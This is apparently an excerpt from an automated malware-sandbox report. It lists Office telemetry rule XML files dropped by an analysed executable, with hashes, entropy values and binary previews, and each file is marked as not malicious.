Preview:	<?xmlU....8.=.....M_.o....\|e.D.\.wyA...C...y.....S...'.....f...'...W..F..........m.......M...gO....7;L.......".:4..Fy...ol........... <YfR\.LX............i.z-5r...e...Gv-..@1..D...!.!..a.;....Z^.cA8..+x.........-Ik...=8N......Ve........\|...M(t....@T5..<.o:6.:.#"^.mJ6..S......!...8.V..........^.....A...X.e>..t....t.....o.....,q.<.3...1.M....]...!.>/.........w....l.z........t.u....1......S4)......#..7.f....V#..C.gFA..).)....I>.}..Y.:..MI2.sx:}..5#...T..b..T...ww.....x.9..AB.#%d..;~....G+../\|5-'..\..~..X.orB..Zo2k..m....'.O...Vr.bp..J.......+..].l.B..O.....U..g...q.d {k../.gk7.B.....V..Sy...;.q.eE..U.j..;f.....R..l.N.5..:..m._`..FD.8...]'rmu.7..A1.lz.1..~...A..V$`G..n.t.<..7g....".J<..!...yg<[..ii......L..fr........}.2.U.Ef.....[dA...2.i...HJ.?<Qz2..[.Y.g....8.f....u..o...:=....~..^....o.I.wv...].m.D.Aq..l..!..'.ir.'G.A...&c....G.c8.8....Uv$m."z..f..A.".G.7...A/.Q..m.. .fM...v..T(j..>.'.u.I...W.....Z..D....>..*N.+-q.8...}O;..u.2..&2....v..;!E.K)q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702650v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.871267947551871
Encrypted:	false
SSDEEP:	48:QeG460+J4xzEDV74mtZm1sl6aEDu1qbxWi6EFD:QeG8k9Zm1WHV1LE9
MD5:	FBC416E6E0AD7B379A2285A0BDBAF02C
SHA1:	274E1A090516F3327D9BA5B0278F5DF7960FEE04
SHA-256:	C19042425BD87EA378774FBA725C2062B88149875861E3F5327C62B3EAB5C18E
SHA-512:	14D45C776335D441B23AD563F8BED8B9F8A58720D65AC096343782ECA320FEB3EDEE6DE5E2CCEDC2BAA63DBF2A032D7FA0A9F8318DC31E0BF6E86CA52463CE65
Malicious:	false
Preview:	<?xml....q...8..g....M.M.g#X.9.+[..L~...)..f^'7.%X.0..78.....&w\|F!x...8..JG>W..s..:........!...r.......g1b..'h?.....+.tM....&..G. ...9..sk..,.L.~?..u.`U.,j...Do,...O.....i9...2 i.F-0F.h..e..\N...m.....ytp.Ye.....q?".dud.`h<.....O&.8J4.+.8U<.....#..un..&v#b......~.y..P...\\|.e.......g...@.........`<..MO.c...6.....\.e...~w..h~(..-...f.-?.r0._...L....g.OG.G%.F.d.{Uk`..k1'...QS~.<`.Q.'...xP....d.q...H...Lo..y....D..2z.r....~....jd.MU....."..6.)Q!r@[..W.6Bn...~QFPTa...a#c,......"..\|.....A'0k/.....V..[.5.\[c.Yh....9..@C.M.&F.PHH._0.hiVo.H.K=.G.E^\|....G........j.a)#z..ID.{W..P.N.EFD..f.......w..B6....z._.G#x$......8{...b.c..u......Gw....1i.1}}.l`..#.......{...b7.[.vC...N@..Z.bd6...i....8..sp..>..1.<z..:.Q..>..ZB[&.....zk.J.-.......?d1zu.... ym....Be&..a......]..i...H.._s.....t;W....cr........=..};..4..^.q.....+.0.>...._1.%;E.;6.7f.U$V:....<....k..y.<..Z...?.C..M.g~......e=el[.k..!........((.S....../...... g...+R.b..y......@...1...Q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702651v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.887110128217891
Encrypted:	false
SSDEEP:	48:IClElZI1zz02aqRoX8AKuMdaPp5wiyBFD:ela1zz02aqY8AadqD89
MD5:	4188C8CDD2E182175C0D581DC2EA8E42
SHA1:	B6FD0B2CD2241ACC473265FAE4FAA423F0C7FBC7
SHA-256:	86BF7095E747D3DFCA913DB33D6643A6BE1BC559FACE28FEC5DF132F9E11E450
SHA-512:	176FF64671A3BEEEA60852E52866FCA7BD103DEB1FA673AD1206949A1C547494F1D5B6A89B70529D77A0002AA8E2FE0D2C1E0633FEE3FEC1F8F9B2E5DF2A68D9
Malicious:	false
Preview:	<?xml..C..?.......=...B.O!.....\|...6.'...:.?.D:..~=..?..QK.!.G......Q.=.....:...k.%..LD.,.......j.GD)_....X..C.F.X.t..E+....3.N...$._#u..7.$.Q(;bt.Q.=..(:.f..odh.'/ln.5u..E...%...XC.2F......v.'..be.....M~0m..K...HC.+..w..P..B.p........(.5....96....[.Mou..z..D=8.."$.`c=...?......dk%..~....lBg.wK....j...jy......%.5..N..+.5...H.....C6L..!..;....:e..f.z...P.....d...;Fe..h..f.x../@..R.a.F.w.J.t.....nd .z%.P.[.e]......).p6X.F3..:.......F...1._....R..T...5.U.h...Y3>...".M(.?...PH%.4.;.].].Z..\|..q]...4..].h.;..k..%.I.m...{..#j..=..O...E.Z.h./d.P......H.%.j.."...$..1(.=..Nqp1...\|...O....s_`....zb.T..kw...mec=...q.Nx...T\|.DN.\|.0.3.o$.&.Q.....V..M.....^......ZY.........H.G..2O<..z........... ..A.G.$.m..%.I:.H..Z...c...\.F8g...Ar......cv.+.A...bBWu.K}Xu^.U.#..{pC.OAXK.\|.k...U.\h...._<3..C..=:'...%-........$sr.....#......Ln+.m..VP.P.p.]..9...-..xy..{.KL>.......5OnV...q......O8..d6........X...\.v..=...5..~.[..Y.....N...?..\3...Oc.1.k.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702700v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.899219237494661
Encrypted:	false
SSDEEP:	48:+IC8NhCsW9ZtaGYq04H62PhlvHXHMfCBYpMV0FD:K+Qn5RS4aYhlPHMfwYp19
MD5:	07C5D961D0B9B0DF75265C3E0823308A
SHA1:	B49BCB222A6842F09A6757D258BCFC2B7CAA0C07
SHA-256:	F6A4D79B1A1AD229620C41111C1C89525FCAF6345A389CB6B6681DC80DD60111
SHA-512:	AA64CCF450C910399759DA831D82B1A2D374281B9A9A8CAFFCE06300FCA8F3286A6590BBEBFC3744970CCC90F5355BEC72DE47F469D22FFD823A0E9271673A4B
Malicious:	false
Preview:	<?xml;''......`z...-.7-.rT..........$.~.H%jN7?.d}.O.D~.P..}B.8..Y^..w.....t......A.....E.y....:..... ^.e.H9.e..<pST.....('z.....X.W^._..{.<..........CY.....X{..4:T..I@....Y....Fi.,.......l+.D.g..q.....S"..l......=.[jo...`...~..T.P...C..b.5R.(.B....>...V.aG.ctI:O.(.t..3+.u.hx{%_..v../....X>.9E....dU..c7...7.......Y....;:..a=..I\|.<...(....-...\|.Hg.0..?&..@.C9E......M...e.a.y=.Iv..M....2..w>.x$..D.2...r.:.<.+..).....,.~..}p..D9uV.L..u.1..\|I.....l....G7...A.~.........o.2..nQ........K'...x2vh%.}.(\...>.\|T.....Z..w.....o..N..}..r....N.].H.Mc.:@.(U:_h.....e..p$./%m5.+......U.....P..........\|.X.?...(...4... .(.S.8..z.$t[3.:.I7...........'$@.K1..KV..r>&.3.F.!....g}..$]Y..N u.......^\.&W85..n.db_s....X......v{.b...\..........Z.gF.,a}.a..^T...3g..[..=..V....3.Kb..r'J9I.w.....Bo..-.9[u..X.Ir..lc.J..X.[......p<..<....?..=....z...Pu^...Ud.h.Ll&.4..d...G...+...8.sDH..k.....Uk.#...q_..Z...\|..~.i....u..Q....Z.-..y.3..K,y.%}.Fg..J.q.+....m.U.u..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702701v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.877576681199513
Encrypted:	false
SSDEEP:	48:2AcVhauEsxsXMuPH2PkqBf0FYH1T/39r6zYZFD:/c5GXMuPlqlMYHVBeYZ9
MD5:	56DB8A4CF9FCFFF6F6B50690E3CD76C5
SHA1:	947FC401B5A7F65BB2B92FAE8EB80F16642B86F2
SHA-256:	B13474841D5467083ADEF33EB687987C5DC572D701A16678F2C736C7094E1C6C
SHA-512:	AC6CD82845D8F368A600F54CF0A739BFD032A6CA221DDDE82201E9F262F7A0E45C7BB6D7F4FF81EF97AD919748BA341493A186338EE00718B5B8C6FD09DD3574
Malicious:	false
Preview:	<?xml........!dEsW<.,.u....J..J...X(._.sX>..8....O..'D..D7....u.:H6..25.A...H].......r>....m..A..w..?...^CE....{.%o~.,...Y..,..G7.^.qM%L.....a.-...\6...x.)..x.dVf..m.%.5...D.l.I.w..S8.5..W.{..?..Q]..i..J.....3..Td....jXu.4...~.4.{...6.-;...I..#96.{..R.....kE..`\..-.>..ME...h8../6..q...Kl{..5...buB.}.A\.O?.._....QHE.YT5.}..Z[.y....D.D..S.\|.8.,........K....J..M........U.....I.......C4.i.I.4.gf....~.y......_.9.".0...Sg....k$..p....7..Hz.l.!.f..l=.@.y.4.LLK. ...E.....#..X.?H,.~NEn.I.r....P.H..2.yy.~a.;U.!....7..S......[XggOj..f.C....`1...r..-..).rXn.C6,.."...2..q.Jt....#..Y[..Cd...m...).`an.`...4Q....h...cga..C.-....p.....[.bTB...K.o.-?...<..)..Va'N._.,..H\|g.w...C.......U.r..^? !ME.o.nM..Z.:.s..../t0......dtgy.AH.....=u.......^).....N.Wl.y.....r...\..!LoG.2.O..T4"....G..\|..?..O..."..&...'..#9uAL...>].,P.\[.m.~n?.9CE....+dPY..<C..H._.7...H.n..9L..r6..R.m.Hx.i....g.U2.F.B...........s....I..@....v%._........V..}...v..%.....j.,.@.F.j

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702750v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.887874918725228
Encrypted:	false
SSDEEP:	48:RssRAmJWSA2UNGuH22Eob6qMy9M9PqUDahBTpuM5vFD:RsAkuBuAGGMFrh9
MD5:	D0F766B36ED4953DE14B189845509514
SHA1:	361AA80988542A5768D579AD721C8E9C5A1639A0
SHA-256:	54DADE2F56F63792106CB598486B2D251A7C736681C6AF601A09B36795D83074
SHA-512:	6E12D578F31B31252C73F81E0DD7FBB7EFF42F5052FF13E7A635F55910129E91174BAFB7404D18D07725399393D343FE3AB8D6F9F9DA1B60DB79932174D534FE
Malicious:	false
Preview:	<?xml....9........t=.0.1P..).){...\.[.9;..mT...".).ie/.b..\.....I\=.U.c.3.8...Uw[...........,.EY.E.b.Q.F...6..X...`..._...m/..js.......m".M..U).b...4x..V...;...5...>\m.>...}CJXO..w..}.X...F..[......n6........]@.....].p;U:..yY..Z......+.].\....B_#...!.fS..>.!J..+4P...{...n...........D0Q.8..1w.Lc.v...A....m..s.v>..{m...W.Y...&c...Y5...A.....\Um..c?i\|-....u...Q.v.6.4........6+...P.`........^).}4.I.fdC....U...D............g...p.../...O........Fe.......ag.e.e....`........t.D..."?F...i.Mz.E.5.x..lE=..(....k.Ui'....P.m...3B..!....f.9).\|......=.N."..}........hm.u..Y...a{..z...c.......".......d....;l..8+..G...&9W...d.M./e.1...k..^..6.r.........0....-.7j...4&....f.........w8.:...@+L.t[v..D.M;..pye\ (![."\|.....b.W-.TC......h5. .+.......8.. ......_..H....*...R..k-..=.V>;.....,^c..@O.p.Y$..@....(....5UL..y=...H.svh.%j..H..A.T....v.K\|.,.....!)^.5xB3...%.$......Xv.9QH^..~...l..s..[.....wGd.a...~e.^._A.J8..pT...g..J._z.?.fc&.V..=.....RU....a.:.b....R.r3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702751v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.901146895982708
Encrypted:	false
SSDEEP:	48:lnXCoz6Y1tddxYSyj+bZ/kbykmJ9o3lFD:lnSobnddOStZ/ko+3l9
MD5:	5982610FFBE82C34550B3339C98D3920
SHA1:	FE069749A9B7D141FF690303E0C3F767F1FC4D6B
SHA-256:	31BE7D8841137AB4836BFE8F93D572D48832C7068E597DCD30C90C70C1368B18
SHA-512:	499D6E6529912629D7A25BDE8BA4A0F8D6BAF42B33F7C523A739A2C20D7573BBF71E2216B1B11777CA9BD25CEA7497AFDD851DBB34B8263789973CC099135F4B
Malicious:	false
Preview:	<?xml.u.}..)../...;.k.X.-.....a..+.8.E..B.awn.....D.y~..w5T.....b..............qG.6\...R>..Y@........bq...T..`...l....B........ye...g.$...r.n....Y=.=...Y6.ok.r.c..r.~...U...K.....Uec.FZ.%.;7I....V.1..1..UB........!.:.....&..j....%.jP.....pe#..7..,.\|.......lT.....+7S.....Ha...(....>.f._.$... ......z...bO.a.....Q..C.s.I.:W^hQLa.T.&.......N....O2.\|~4Ps.{Q......C..[.....`.(.'M.....Cj..VF..De.....O.v....<ub....\|G...CJ.^..)..!k@C....)...................2qs.].1..e.........M............am..5F...nW_...d..N.Zc...5.....7.....ZD......:..f...7....;.\.....d....D#...]~......@d.d..gc.!.....N..J...e..F..K.zi9.r=..U$.....e.}h......<.Bk..X._..CG.......'-.a...[.h.'.I...R@...e...."......d#......".D.1W...}..D.1..I....Ey40UJ.&y...L..?3-./u.i...e..\|...O2..........e....U.s..s.wd.h...Q.\|U ...h....Z....'.;..!....wSN.C..8/.t. ..Gn...%..R.'p...R.....f.i6..iXf...T.U1.].VMD.n51...U.5S....7...bz..=y-^...\|.qy..8`.....U.[...v....._.'..6a...]..M..O..#..........\|..PfU$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702800v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1687
Entropy (8bit):	7.882024341776874
Encrypted:	false
SSDEEP:	48:Rfx75WYhmdWz5E9bo2Ixhb8yqx7ScyyI5FD:RfHW2msVV2IDQPx7Zyb9
MD5:	C319AFBD853986F865AA548FDE3A11DF
SHA1:	BE089D33E2FC1908051DAB504FBE280639902C26
SHA-256:	B29C40CB72C506D7D9DE7926EFFA68D4B2AB5D66BC1CAA507BDC7EC68F36C84F
SHA-512:	10EEE57EDBADA1B076B5AC78F167F2004A6AFD0E8D6564E6E9EA7BD7A41792860176DA7B7F5C772601E758202D765E1943BB03275825442C53F29A6F569DCC95
Malicious:	false
Preview:	<?xml..q2S.z..#..C.4....iW.........4...H$].....Q...&...4...w}...?3G.)s6.u....=.../.L5G.LK...D....7X.D4.?i......%B..k...,.B.....vO......V.Zu.m.F6^..OUKu..L.^...I3......C.Hr.R.u.C.e.65..G.\..{..,..SC0..5....}?.:.Do}..0}$...g..a...vm.`v..@E.o'P..,..I..`w....V!......H.%..$......d...%.o`.e..'...!..L.u......'.N.O....d.5)....W=L..............P.O......z..Y..b.......^..z'...-;..O--..G.y.k[...&"e..lb....h.O..L1.....F.O...]..;O..ew...R;3......A.A..d....%....../.r..y..t...K4..%.....[Bb.Yr.Z.1.._.VX.6/.V..Pk..Q....5....{....(.#M.s.m-...q`V..L..Jb.....o/...8.E,.(..x........B...Lc.[.&f.O..N....\|....I....+ZI....Q.....,.L..-..].z.u[..,.f......L."..d...e....7..:...S..!nA....A.../....>.M?.].>V........7w.&..I...O...).......wY3i..J\|..q....N#......F..A.6}M.m.i.8......"dA...;w.g.....W...[Vn).{q...+.)..O..4U.cS.r.&....g.m.....\|....x.JN.....q..$.G....{ZQ..p..<X....2i&h...t>ZL..@.Gy.....s;..['t.ts.F....P......#@8..m...u*.QWK0..........;.).;..C.m.......p.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702801v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.8774052227831275
Encrypted:	false
SSDEEP:	48:ZLThjOvfaNEgxTvftpUotLAbITdV96FnRBXFD:FThjOvfam08otLhR/aRt9
MD5:	7618A3DACB19C4D3D5E8B4C6A296DFFE
SHA1:	732264CED753BEEAE1BA6720F5FDFF4DED5DB273
SHA-256:	F426880506DE75FB66F5341AA750802B6325E04567B594E8C2342C33B001FF8E
SHA-512:	4125B22D22141736770A3B54BA1A9A2442EAAA6D9CFE62CF562EB034DA82F43FD2EF1A38BB5C6D834B817D536E1AC57CAD4EA9144F25AB7FFBBE2C639D11137D
Malicious:	false
Preview:	<?xml7.e.N.[f.X.7C^\|._...6.....J.N.}...;,..........A.Zj.7..:...Je.Hr......PKl.[.@..:"3...;)...t...?...\|..P...a.n-d..&_}.Xx..._.x.s........W D`..W.?'jXY..._.[t\y.BQ.)......S.J.F......U.....{y.=.....pI...+.:...H.!,..}.p..Y....p.,M....n.4z].uT.m.4..&.0.>z........v...Pm^m}.8.?^.5.!..n 6R"...J.....q....Y.Q....<!.'B".HM..=t....r..y..,/.$#~.(..Vr..,f....[t^..7)[.\.l:.i.NV.?].C.R,{..r..i....Y..~;.s....d.g/.7....F...F./O^..N..O.V..q^.G_56>..N$.....R.I.._.8.....hri,.F..[~..{.....^o..{.........YX..}.)..qe).;.V..v.Q.-...2...Y...J.D.._e?..V.2t.....o.6....o.....d.-...n.@Uz...C..Qa..`C.G@J.A....:..o..-.8....u..eb.!'..G.}.Vo...(.x..]....:.8....2#...]..5....@)}.&t..&.8..x... 7..u.l2...CM..6.x.f..9.%......xB<.D:......b.G.x`...Q....5.>..c..b...RC....?8H.N..Z..c..2..$[.Sx...}.B.j....T.<.q......x...g......%..gS....P?(..u...XAk....X.-...P.........^..8.hW.m.i\[.h.*....9r..t...O....^.)...6....W.....}.v.:.g>.:E.......[.M5.r./[...@......1..h.8"

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702850v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.889406784844966
Encrypted:	false
SSDEEP:	48:YnrsNmxDozWfLEbTV0WREFAP5xvSYjMjHFD:1UxpfSV0W8AxKYjMjH9
MD5:	440A64480440D9333C4B56E7FBD509D4
SHA1:	1CEBAB66CF035D50307832550D4FC973AE91F877
SHA-256:	FE019F9177E60E4F7425700822F6901C8522D3C4DF42F73CEF3B44930991E51D
SHA-512:	EF6F445FC4AA6D290106F76D8AAB537C262FF2BEB9301036FB46E2B759F89D639E603E09B458C00653FF7A53FF50DE9A39FB1AE0126BF0316DE316BDC1F1B8A8
Malicious:	false
Preview:	<?xml1....b..j.....e..?...O>)...W?.-}#XF.`R,.76v-....i`..W.'.....}...t.,K..2...!.MRU.&M.:l.....6.-T.`)RR.jc.Z.R[Di..........j........2.p......\.....O0.7.#f.....-.^..C...."1]-`...A./...n:3.L.X.-.......:.j.W.OA.R(0.L.N..Xv.a.B...H.P.g'....4....p.e..h.)..U..W..D_$@...5$`.7.X...........:.6~.\|...f..LG.h4......u(.3..n.....T.E.....A.].\|.6jp%A(.>.X....+I.Y}!.9)OZ.Le.....,n..L.#.l.o....?......E.h~.~/..%.'[....mmpQ..M..F$....mK`.k.%.%HHd.%.3......#:...P..&...]g.N]...H/..A..P3......r..9.E:.....Q..Q2+.s~..ps...I..".l"._...L.....g..ZodO. .Xe.a......F....T...]...L..X3.X.J.=^...H....;l.Rt.b.$.T..#...!....b....F......r.k............I.X..W.f..rY.....C\.....g%G%...)_.b.........X.;....!......3...P...?...U"x.7.G\|.C.D..\|...A....2..:&..>....@.W9.C..Ba...poe.....]..<....Z>.....6..J.!^......IQh.w...7.%uQ.6....b.'.F2...+A.8.+.k..b0.%#.. .z.N...}/..i.5.=ti.!...W<.U...\|].Oz.dQ!".n....s..Ga.e..i.....5k......V...^U+.7..ZLW...'u.4.+D.........m/k...U..7..@.M/....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702851v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.885787590721189
Encrypted:	false
SSDEEP:	24:6LMQhetGRpIWgRSZKE7XSoH+qsggsGvcRFF63VBwxw3sULGypYgiTl/ahpaMf+a9:6QOp84wqjsgg2PY3fwCPYfZ/JpNEBFD
MD5:	668B0CF4F5F1420029054BE222ECC097
SHA1:	CAF9D5300A9E93D828F21B7036CD62F6A6DACA12
SHA-256:	5DAAD191A0BB6FE1F3AD4D3D6A9212B6C877686E4E23D1DCDD8ECA5F2A7FD3AB
SHA-512:	320D00EE9BD27F5C0159C6A022A9954B5CED6B8DCF9B752C5D798269882080D6D32BE3F260BF79609A19DAEF15380CACF246E45C4D02187D90FCC43E5C57AFE0
Malicious:	false
Preview:	<?xml.5....a..-.+I.>B:... .#BdD.#eu.O.T.>I.<....{h.6.].~91a..:>..{&.'.-.0i.^.3.g.fm.Q......4r..)WL..)2....".h..<.A.m.d{@..3....W.^....(l...Q./D%.....#T#...g.........>.V.N...:..`.<.....!@5d...`Q....B.......-......^,HR7jM.....}..A...P.j..>.(Z<yTl.,.(.....8>....W.a.#.E.B ....M.=....[.:......M.d..p...e.....k.;8u.."....".p....PzV.0...............w......6..H.oheg4..n.h.e'...8_.>haiQ......zj../T......}.QQ..7,.\|M K`M./............&......cm..,...X ...>0@..!....u......{..q"y...+d3G.8./.U.L~...,.....JI.1'...%.....0c.T........C..{.......J.7...W.k_...hd.%-.eX`84xM...].,0(....N.\.......-.d.J.._`c0.g.....xR....{Px9.?...l.....s..^..?.X....,z.\u..90.........MZ...0....&xJ..Zu...6`.....(L......r..*a...due.T~x...~....t.....Z.?..p..5.Y.[..I.X....xt..t.HNs....Ni5..$...L.,l7...y...\|8..\O#.).L...s.=...r......7tG..N1...fw..aoo.b.@_...m........{l..)8.6.x.Z....U.hy..l/...a......1.....1...@c.$A...DQ.."..W...x.S.....r.s.:n.....T...!........OO..b.....v

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702900v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.884698877331608
Encrypted:	false
SSDEEP:	48:xwY8I2MBFkg1lJAoTMwbpSPFIjgNT6sNjaD8NFFD:WIxvlMwFA9l6WGC9
MD5:	80FD7CB91B5357EACA778E9FB4B701EA
SHA1:	5D0A3143D8B95E94DC8556AFE8FA03B83EFAE8AE
SHA-256:	33E678348BCB5ECC9EEAB5C3A99E23E1403B86EEC0203C75A392D79BCF75DFD5
SHA-512:	E2A183B593D8DA07CF0B0F38B3DDB8FADF3FEE993507B2345A097B66DDE925F900737D91385F668F1E727D8DF583A43DC150375061F156CF041FEF80897490A7
Malicious:	false
Preview:	<?xml.Y.[..q^.V.X...........kW....%_OD.^..q..7.[.%.....:...h.v7.JZ.&.W....#sz.%k.....cZa..`4I0....~...>.Y.....j\|..GA!....V.HP.4.agci...g......+p8j..m-NDp>))...i.r1...D.%Z.L..v..`.FD..Y...AScV,.M...h=.6...e.....y..!\9.+...Qe........k....f..i..+.D..r.J.ZQ.w....r..^.......r2..p.G.L..............6.a(Y#.n/.g.q)zy..:...7]..@..9X.K.b...Y..)........'.#..i4.z...... .u.\....?.?....D.IA...]D.5.K.o.COn......e.^.a.(.......~..5,........=..u9.7G...............2.&6.F....#.,V....=.a.@....F.!.......o...3r.....{.j....=-)14`... I:{.......eIIje....t=....../.Mh..<..&L.?.\.......r.'&=Q.........1..Q.(....._uRF.G.+.K......~...x.......Sj.,..._..n...%..8 ".6...J\2.X....\|...Q...vZ...S...P.0zK(..x.T.b..i..Y...eV.(.....'..X....[..f..vw.Y...o".\|.......fJ......Dz.#`.t.p.o..C,G.M...34....l.>.BDe\...Bj...^..7..".JrK.....1Nqi.mkeO9t.A..9.....}68.q:.....d.....K..<7s.~H.Z.V..^5.8.&.\|..c..p.b'..K=..O.z.....m.......m....ph.i{.{.._...e..?.ca..U...l.L)O..hb..&.;.^.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702901v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.891818565811783
Encrypted:	false
SSDEEP:	48:dY9AKyr2yXYa1nHuw5U/OzWszot8cAM9Y/bCwly9FD:3Kyqyr1nOwiGzUtOM9V+y99
MD5:	A6B7941E950CB7071212D18245BF823E
SHA1:	844644FECFBA4FD81335B6AA25D43D44541A8D32
SHA-256:	73CBC7E1B27AC0206DA8908A6B04F182FC7AE38831FE2A6552D249EFD60BF6B4
SHA-512:	A929EFF3712F6B2CA349D87F2573D620C466C3E3363F4B66388A2D9450CC9B7FF6B2E20C6884724C62C775AF0AEDEFEAB3F823A74A7C7AF9BA31124AC3ED3C5C
Malicious:	false
Preview:	<?xml..g8B..\|c.O...... ..?.>..E...\|.B._..Wl..5.:c.$<.A-..VE2..a`.!.....c.......n..\+.%.M.>.i.=V,..I.\|..)W2xV^I..\|.v.E..c2....#bDaH.v..#x.V6G7.L...).B~#.....;......y+HK..b.=..S..'............s.~.n.gtkF..f..?..+...\8:3.....~.J....VLK...i...7..sX5."....2_{6M.&.}e.u....$./{.[.....6..3.S..S....+AN...eDr....++A....m..c...{ ..b.#.....TwT;Io\|...V\|.W....9l..&..A.N.....8.. ..T..L..1$]2&j..'.2._@...+..c......!....1.r..R...Eb..V8.K.>..g#.7ax..7d..\|.Q.o.j8=.G/^.F..t..[v W..k..RRd.r(..i.......y.FK...'..jz.T..=.k.!...#.F&T=NcU.m<....D#Jv...w....9........4....#.h..i:...5.....1..N.\|...... .:..j.jrcDn...'.....P.m.....Q.iQg.O..5D....../.......p-..9=V..<.>p_.}...g..%....yv8.+O.b...'...d..5D....=y.V.q.....D.I+h.^7Q...._.m..0.8.......[...J;._O.#m...r.....S.]I...EM.._.H.5"} u..?.6D....[Y...A..j..y9...a.;!y....."F.......s.<.4...l...A.F`..~..t..".c.W..8. .,...F>.s.a1.O....].UW\|...s..6...0..H.YJ.`.&.$.]..U..?(....5-.._.rL...V......QL..%........A............5M.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702950v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.864413558474923
Encrypted:	false
SSDEEP:	24:GPmuEDdR18rRzctlYq3dWHY/w7DLJk8vvO6FCh0lnwx9AhPD/YOrUJkCEQVbD:vjdRmQvdWMaDL/vOxhwK9AhrARkCEQFD
MD5:	8A131339CBABFD177516823F5F782F8D
SHA1:	CB3322CDADD98BFAA39611C7F2C0CE03E25DCB13
SHA-256:	2CA7E93EF4288883D1564D1DE1BFBCE672DD3AF1FEB561D9B899016EA84B53A3
SHA-512:	B7B7C0CA9951433442F939E46446F85A2A54D63EAE55192FC4BD8A2FD5776FD9C17DEABC5B4923057DE30BBE6DFDA69535E4F334889E474E00639247EF9C15AC
Malicious:	false
Preview:	<?xml...:..t&#.8.....v.z...q....R.+.2S......,.......vz....G1.[..K.l.6.T.....PE.1?..S^C.tj..g....k&T...B...q..=DX.K.W.9jo2o(2.@D...'Y.......<.y9.9Kf.0.4...K.,....p.....$.....X.\.....T..l.....D.&...mka..eC...L%... x\......(..UN2HB=\|)......O.h...G'.#.T.E P....X.vDZz]....o...]S)..l.a..+.r.-.^6..$+.#f.t1..~.6p6...........Bge.p+~...]{{....bHl.?.bDy...`...+#.~.q.......$.....n:......q.pH.^.Q...k..._..x.....#L.]..oI.&...v.d..V.E%.bw.m?Q.p.j..<F.Sb.:s....-....R....3..W.?..Z.- ...K&].$.#.1.u...A..(Rm.aW.GP.&:..9Od.cG..."..s@e{h(.f.`.=..9..&.k..z..J.L...,..:.6Y3\..%x........_..C.H....f....o.)O\|.....\c.E.z,vk.8UO.b.&..... .Lq.yr....4..\|..3yT.!.'L ...>......E\|h8W.GX.9H..nx].d........y.B...q..<....H......w/...\0.".?J....?...{y.8....6.3}..m.v.[.i....)...au.. ..#..@T...&...e!.........O...m..TC..qU..Td.z{J......+..L..E...C._q......vo.!Gi..ay_.S..i>%G.YB.2.Z...,Y.S...He....T._Q.HHL."7\|.*.r.S'.&...1s@`...h...^v.8.\|cj..A.vh..,8...'>x)cx..rTh.6`"....w._.....p...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702951v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.879914647516982
Encrypted:	false
SSDEEP:	48:1kRYVLjd5R914CvdFJPXGLoES093gs7q8a6HbqzpsvaUoFD:1kRYVLjdt1hheLFL9QzQEpsvto9
MD5:	E9804ED373F656DABC21A67EA4A39DC3
SHA1:	CAC16EA74D19A30E33F42BB0102A75878C249336
SHA-256:	7D8FB40EC480A57386E0E3C9DBC85E76F68F7BCBA307EBF94F1C935DEB7A1C02
SHA-512:	58D99B51CD27927FB43861D1E42548BCCAAE6DB9E1B1421535C007D5BF2999C8AD953BCF11FAAA543A2988FCDB485742A1EE4FE53D4A600F5D65836660785EFC
Malicious:	false
